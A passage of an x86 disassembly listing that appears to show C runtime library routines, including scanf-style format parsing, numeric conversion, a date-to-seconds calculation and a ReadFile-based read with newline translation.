loc_419339:				; CODE XREF: sub_418DCD+45Cj
					; sub_418DCD+4CEj
		or	[ebp+var_18], 0FFh


loc_41933D:				; CODE XREF: sub_418DCD+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_419361
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_419361
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_419364
; ---------------------------------------------------------------------------


loc_419361:				; CODE XREF: sub_418DCD+584j
					; sub_418DCD+589j
		mov	dl, [ebp+var_35]


loc_419364:				; CODE XREF: sub_418DCD+592j
					; sub_418DCD+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4193C9
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4193B0
		test	dl, dl
		jz	short loc_4193B0
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4193B0
		inc	edi
		cmp	dl, cl
		jnb	short loc_419383
		mov	al, cl
		jmp	short loc_419387
; ---------------------------------------------------------------------------


loc_419383:				; CODE XREF: sub_418DCD+5B0j
		mov	al, dl
		mov	dl, cl


loc_419387:				; CODE XREF: sub_418DCD+5B4j
		cmp	dl, al
		ja	short loc_4193AC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_419394:				; CODE XREF: sub_418DCD+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_419394


loc_4193AC:				; CODE XREF: sub_418DCD+5BCj
		xor	dl, dl
		jmp	short loc_419364
; ---------------------------------------------------------------------------


loc_4193B0:				; CODE XREF: sub_418DCD+5A0j
					; sub_418DCD+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_419364
; ---------------------------------------------------------------------------


loc_4193C9:				; CODE XREF: sub_418DCD+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4197D3
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4193DB
		mov	[ebp+arg_4], edi


loc_4193DB:				; CODE XREF: sub_418DCD+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_419843
		pop	ecx
		pop	ecx


loc_4193F2:				; CODE XREF: sub_418DCD+6BCj
					; sub_418DCD+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_419406
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_4194A2


loc_419406:				; CODE XREF: sub_418DCD+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_419496
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_419496
		cmp	[ebp+var_E], 0
		jnz	short loc_41948E
		cmp	[ebp+var_16], 0
		jz	short loc_419483
		mov	ecx, ds:off_42D0F0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419462
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		pop	ecx
		mov	[ebp+var_37], al


loc_419462:				; CODE XREF: sub_418DCD+686j
		push	ds:dword_42D2FC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41C05D
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_419486
; ---------------------------------------------------------------------------


loc_419483:				; CODE XREF: sub_418DCD+673j
		mov	[esi], al
		inc	esi


loc_419486:				; CODE XREF: sub_418DCD+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4193F2
; ---------------------------------------------------------------------------


loc_41948E:				; CODE XREF: sub_418DCD+66Dj
		inc	[ebp+var_30]
		jmp	loc_4193F2
; ---------------------------------------------------------------------------


loc_419496:				; CODE XREF: sub_418DCD+649j
					; sub_418DCD+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419843
		pop	ecx
		pop	ecx


loc_4194A2:				; CODE XREF: sub_418DCD+633j
		cmp	[ebp+var_30], esi
		jz	loc_4197D3
		cmp	[ebp+var_E], 0
		jnz	loc_419734
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_419734
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4194D4
		and	word ptr [eax],	0
		jmp	loc_419734
; ---------------------------------------------------------------------------


loc_4194D4:				; CODE XREF: sub_418DCD+6FCj
		and	byte ptr [eax],	0
		jmp	loc_419734
; ---------------------------------------------------------------------------


loc_4194DC:				; CODE XREF: sub_418DCD+466j
		mov	[ebp+var_D], 1


loc_4194E0:				; CODE XREF: sub_418DCD+203j
					; sub_418DCD+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4194EE
		mov	[ebp+var_17], 1
		jmp	short loc_4194F3
; ---------------------------------------------------------------------------


loc_4194EE:				; CODE XREF: sub_418DCD+719j
		cmp	ebx, 2Bh
		jnz	short loc_419515


loc_4194F3:				; CODE XREF: sub_418DCD+71Fj
		dec	[ebp+var_C]
		jnz	short loc_419504
		cmp	[ebp+var_20], 0
		jz	short loc_419504
		mov	[ebp+var_F], 1
		jmp	short loc_419515
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_418DCD+729j
					; sub_418DCD+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		pop	ecx
		mov	ebx, eax


loc_419512:				; CODE XREF: sub_418DCD+543j
		mov	[ebp+var_14], ebx


loc_419515:				; CODE XREF: sub_418DCD+4FDj
					; sub_418DCD+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41962E
		cmp	[ebp+var_F], 0
		jnz	loc_41960C


loc_419529:				; CODE XREF: sub_418DCD+82Cj
		cmp	esi, 78h
		jnz	short loc_41957D
		cmp	ds:dword_42D2FC, 1
		jle	short loc_419546
		push	80h
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_419553
; ---------------------------------------------------------------------------


loc_419546:				; CODE XREF: sub_418DCD+768j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_419553:				; CODE XREF: sub_418DCD+777j
		test	eax, eax
		jz	loc_4195FE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41C150
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4197F2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4195D0
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_418DCD+75Fj
		cmp	ds:dword_42D2FC, 1
		jle	short loc_419592
		push	4
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41959D
; ---------------------------------------------------------------------------


loc_419592:				; CODE XREF: sub_418DCD+7B7j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41959D:				; CODE XREF: sub_418DCD+7C3j
		test	eax, eax
		jz	short loc_4195FE
		cmp	esi, 6Fh
		jnz	short loc_4195BB
		cmp	ebx, 38h
		jge	short loc_4195FE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41C150
		jmp	short loc_4195CA
; ---------------------------------------------------------------------------


loc_4195BB:				; CODE XREF: sub_418DCD+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_413A60


loc_4195CA:				; CODE XREF: sub_418DCD+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4195D0:				; CODE XREF: sub_418DCD+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4195E8
		dec	[ebp+var_C]
		jz	short loc_41960C


loc_4195E8:				; CODE XREF: sub_418DCD+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419529
; ---------------------------------------------------------------------------


loc_4195FE:				; CODE XREF: sub_418DCD+788j
					; sub_418DCD+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419843
		pop	ecx
		pop	ecx


loc_41960C:				; CODE XREF: sub_418DCD+756j
					; sub_418DCD+819j
		cmp	[ebp+var_17], 0
		jz	loc_4196F2
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4196F2
; ---------------------------------------------------------------------------


loc_41962E:				; CODE XREF: sub_418DCD+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4196EA


loc_419638:				; CODE XREF: sub_418DCD+90Aj
		cmp	esi, 78h
		jz	short loc_41967C
		cmp	esi, 70h
		jz	short loc_41967C
		cmp	ds:dword_42D2FC, 1
		jle	short loc_419657
		push	4
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_419662
; ---------------------------------------------------------------------------


loc_419657:				; CODE XREF: sub_418DCD+87Cj
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_419662:				; CODE XREF: sub_418DCD+888j
		test	eax, eax
		jz	short loc_4196DC
		cmp	esi, 6Fh
		jnz	short loc_419675
		cmp	ebx, 38h
		jge	short loc_4196DC
		shl	edi, 3
		jmp	short loc_4196B4
; ---------------------------------------------------------------------------


loc_419675:				; CODE XREF: sub_418DCD+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4196B4
; ---------------------------------------------------------------------------


loc_41967C:				; CODE XREF: sub_418DCD+86Ej
					; sub_418DCD+873j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_419694
		push	80h
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_4196A1
; ---------------------------------------------------------------------------


loc_419694:				; CODE XREF: sub_418DCD+8B6j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_4196A1:				; CODE XREF: sub_418DCD+8C5j
		test	eax, eax
		jz	short loc_4196DC
		push	ebx
		shl	edi, 4
		call	sub_4197F2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4196B4:				; CODE XREF: sub_418DCD+8A6j
					; sub_418DCD+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4196C6
		dec	[ebp+var_C]
		jz	short loc_4196EA


loc_4196C6:				; CODE XREF: sub_418DCD+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419638
; ---------------------------------------------------------------------------


loc_4196DC:				; CODE XREF: sub_418DCD+897j
					; sub_418DCD+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419843
		pop	ecx
		pop	ecx


loc_4196EA:				; CODE XREF: sub_418DCD+865j
					; sub_418DCD+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4196F2
		neg	edi


loc_4196F2:				; CODE XREF: sub_418DCD+843j
					; sub_418DCD+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4196FB
		and	[ebp+var_1C], 0


loc_4196FB:				; CODE XREF: sub_418DCD+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4197D3
		cmp	[ebp+var_E], 0
		jnz	short loc_419734
		inc	[ebp+var_34]


loc_41970E:				; CODE XREF: sub_418DCD+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_419724
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_419734
; ---------------------------------------------------------------------------


loc_419724:				; CODE XREF: sub_418DCD+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_419731
		mov	[eax], edi
		jmp	short loc_419734
; ---------------------------------------------------------------------------


loc_419731:				; CODE XREF: sub_418DCD+95Ej
		mov	[eax], di


loc_419734:				; CODE XREF: sub_418DCD+241j
					; sub_418DCD+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_419781
; ---------------------------------------------------------------------------


loc_41973F:				; CODE XREF: sub_418DCD+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_4197AE
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419781
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4197BC
		dec	[ebp+var_4]


loc_419781:				; CODE XREF: sub_418DCD+970j
					; sub_418DCD+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_419797
		cmp	byte ptr [esi],	25h
		jnz	short loc_4197D9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4197D9
		mov	esi, eax


loc_419797:				; CODE XREF: sub_418DCD+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_418DF7
		jmp	short loc_4197D3
; ---------------------------------------------------------------------------


loc_4197A3:				; CODE XREF: sub_418DCD+1F4j
					; sub_418DCD+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4197B3
; ---------------------------------------------------------------------------


loc_4197AE:				; CODE XREF: sub_418DCD+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4197B3:				; CODE XREF: sub_418DCD+9DFj
		call	sub_419843
		pop	ecx
		pop	ecx
		jmp	short loc_4197D3
; ---------------------------------------------------------------------------


loc_4197BC:				; CODE XREF: sub_418DCD+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419843
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419843
		add	esp, 10h


loc_4197D3:				; CODE XREF: sub_418DCD+1Fj
					; sub_418DCD+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4197EA


loc_4197D9:				; CODE XREF: sub_418DCD+9BDj
					; sub_418DCD+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4197ED
		cmp	[ebp+var_15], al
		jnz	short loc_4197ED
		or	eax, 0FFFFFFFFh
		jmp	short loc_4197ED
; ---------------------------------------------------------------------------


loc_4197EA:				; CODE XREF: sub_418DCD+A0Aj
		mov	eax, [ebp+var_34]


loc_4197ED:				; CODE XREF: sub_418DCD+A11j
					; sub_418DCD+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418DCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F2	proc near		; CODE XREF: sub_418DCD+7A3p
					; sub_418DCD+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_42D2FC, 1
		push	esi
		jle	short loc_41980C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41981B
; ---------------------------------------------------------------------------


loc_41980C:				; CODE XREF: sub_4197F2+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_42D0F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41981B:				; CODE XREF: sub_4197F2+18j
		test	eax, eax
		jnz	short loc_419825
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_419825:				; CODE XREF: sub_4197F2+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4197F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419829	proc near		; CODE XREF: sub_418DCD+1E1p
					; sub_418DCD+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41983B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_419829+7j
		push	edx
		call	sub_419940
		pop	ecx
		retn
sub_419829	endp


; =============== S U B	R O U T	I N E =======================================



sub_419843	proc near		; CODE XREF: sub_418DCD+6Bp
					; sub_418DCD+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_419859
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41C16F
		pop	ecx
		pop	ecx

locret_419859:				; CODE XREF: sub_419843+5j
		retn
sub_419843	endp


; =============== S U B	R O U T	I N E =======================================



sub_41985A	proc near		; CODE XREF: sub_418DCD+63p
					; sub_418DCD+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_419860:				; CODE XREF: sub_41985A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_419829
		mov	edi, eax
		push	edi
		call	sub_41C125
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419860
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41985A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+8]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41993A
		cmp	ebx, 8Ah
		jg	loc_41993A
		push	esi
		push	edi
		mov	edi, [ebp+0Ch]
		mov	esi, ds:dword_42DB84[edi*4]
		add	esi, [ebp+10h]
		test	bl, 3
		jnz	short loc_4198BD
		cmp	edi, 2
		jle	short loc_4198BD
		inc	esi


loc_4198BD:				; CODE XREF: seg000:004198B5j
					; seg000:004198BAj
		call	sub_41C1DD
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp-8], esi
		add	edx, ecx
		mov	[ebp-10h], ebx
		add	eax, edx
		mov	edx, [ebp+1Ch]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+14h]
		mov	[ebp-1Ch], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+18h]
		imul	ecx, 3Ch
		add	ecx, ds:dword_42DAA0
		dec	edi
		cmp	dword ptr [ebp+20h], 1
		mov	[ebp-14h], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+8], ecx
		jz	short loc_419930
		cmp	dword ptr [ebp+20h], 0FFFFFFFFh
		jnz	short loc_419936
		cmp	ds:dword_42DAA4, 0
		jz	short loc_419936
		lea	eax, [ebp-24h]
		push	eax
		call	sub_41C450
		pop	ecx
		mov	ecx, [ebp+8]
		test	eax, eax
		jz	short loc_419936


loc_419930:				; CODE XREF: seg000:0041990Ej
		add	ecx, ds:dword_42DAA8


loc_419936:				; CODE XREF: seg000:00419914j
					; seg000:0041991Dj ...
		mov	eax, ecx
		jmp	short loc_41993D
; ---------------------------------------------------------------------------


loc_41993A:				; CODE XREF: seg000:00419891j
					; seg000:0041989Dj
		or	eax, 0FFFFFFFFh


loc_41993D:				; CODE XREF: seg000:00419938j
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419940	proc near		; CODE XREF: sub_414C40+A9p
					; sub_4151CC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_419A14
		test	al, 40h
		jnz	loc_419A14
		test	al, 2
		jz	short loc_419966
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_419A14
; ---------------------------------------------------------------------------


loc_419966:				; CODE XREF: sub_419940+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41997A
		push	esi
		call	sub_41B0FC
		pop	ecx
		jmp	short loc_41997F
; ---------------------------------------------------------------------------


loc_41997A:				; CODE XREF: sub_419940+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41997F:				; CODE XREF: sub_419940+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_419A19
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_419A03
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A03
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4199D8
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4199C1
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_45FB20[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_4199C6
; ---------------------------------------------------------------------------


loc_4199C1:				; CODE XREF: sub_419940+6Bj
		mov	edi, offset dword_42D750


loc_4199C6:				; CODE XREF: sub_419940+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_4199D8
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_4199D8:				; CODE XREF: sub_419940+62j
					; sub_419940+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4199F5
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4199F5
		test	ch, 4
		jnz	short loc_4199F5
		mov	dword ptr [esi+18h], 1000h


loc_4199F5:				; CODE XREF: sub_419940+9Fj
					; sub_419940+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419A03:				; CODE XREF: sub_419940+55j
					; sub_419940+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_419A14:				; CODE XREF: sub_419940+Aj
					; sub_419940+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_419940	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A19	proc near		; CODE XREF: sub_414C40+90p
					; sub_419940+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_45FC20
		jnb	loc_419BF6
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:45FB20h[eax*4]
		mov	eax, ds:dword_45FB20[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_419BF6
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_419ACE
		test	dl, 2
		jnz	short loc_419ACE
		test	dl, 48h
		jz	short loc_419A8E
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_419A8E
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_419A8E:				; CODE XREF: sub_419A19+56j
					; sub_419A19+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_41F094	; ReadFile
		test	eax, eax
		jnz	short loc_419AE1
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_419AC9
		mov	ds:dword_45E804, 9
		mov	ds:dword_45E808, ecx
		jmp	loc_419C07
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_419A19+99j
		cmp	eax, 6Dh
		jnz	short loc_419AD5


loc_419ACE:				; CODE XREF: sub_419A19+4Cj
					; sub_419A19+51j
		xor	eax, eax
		jmp	loc_419C0A
; ---------------------------------------------------------------------------


loc_419AD5:				; CODE XREF: sub_419A19+B3j
		push	eax
		call	sub_41A667
		pop	ecx
		jmp	loc_419C07
; ---------------------------------------------------------------------------


loc_419AE1:				; CODE XREF: sub_419A19+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_419BF1
		test	edx, edx
		jz	short loc_419B06
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_419B06
		or	al, 4
		jmp	short loc_419B08
; ---------------------------------------------------------------------------


loc_419B06:				; CODE XREF: sub_419A19+E2j
					; sub_419A19+E7j
		and	al, 0FBh


loc_419B08:				; CODE XREF: sub_419A19+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_419BEB


loc_419B20:				; CODE XREF: sub_419A19+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_419BDB
		cmp	al, 0Dh
		jz	short loc_419B3C
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_419BCD
; ---------------------------------------------------------------------------


loc_419B3C:				; CODE XREF: sub_419A19+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_419B5A
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419B51
		add	[ebp+arg_8], 2
		jmp	short loc_419BAF
; ---------------------------------------------------------------------------


loc_419B51:				; CODE XREF: sub_419A19+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_419BCD
; ---------------------------------------------------------------------------


loc_419B5A:				; CODE XREF: sub_419A19+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41F094	; ReadFile
		test	eax, eax
		jnz	short loc_419B82
		call	ds:dword_41F068	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_419BC9


loc_419B82:				; CODE XREF: sub_419A19+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_419BC9
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_419BA4
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_419BAF
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_419BCD
; ---------------------------------------------------------------------------


loc_419BA4:				; CODE XREF: sub_419A19+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_419BB4
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_419BB4


loc_419BAF:				; CODE XREF: sub_419A19+136j
					; sub_419A19+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_419BCC
; ---------------------------------------------------------------------------


loc_419BB4:				; CODE XREF: sub_419A19+18Ej
					; sub_419A19+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_419C0F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_419BCD


loc_419BC9:				; CODE XREF: sub_419A19+167j
					; sub_419A19+16Dj
		mov	byte ptr [edi],	0Dh


loc_419BCC:				; CODE XREF: sub_419A19+199j
		inc	edi


loc_419BCD:				; CODE XREF: sub_419A19+11Ej
					; sub_419A19+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_419B20
		jmp	short loc_419BEB
; ---------------------------------------------------------------------------


loc_419BDB:				; CODE XREF: sub_419A19+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_419BEB
		or	al, 2
		mov	[esi], al


loc_419BEB:				; CODE XREF: sub_419A19+101j
					; sub_419A19+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_419BF1:				; CODE XREF: sub_419A19+DAj
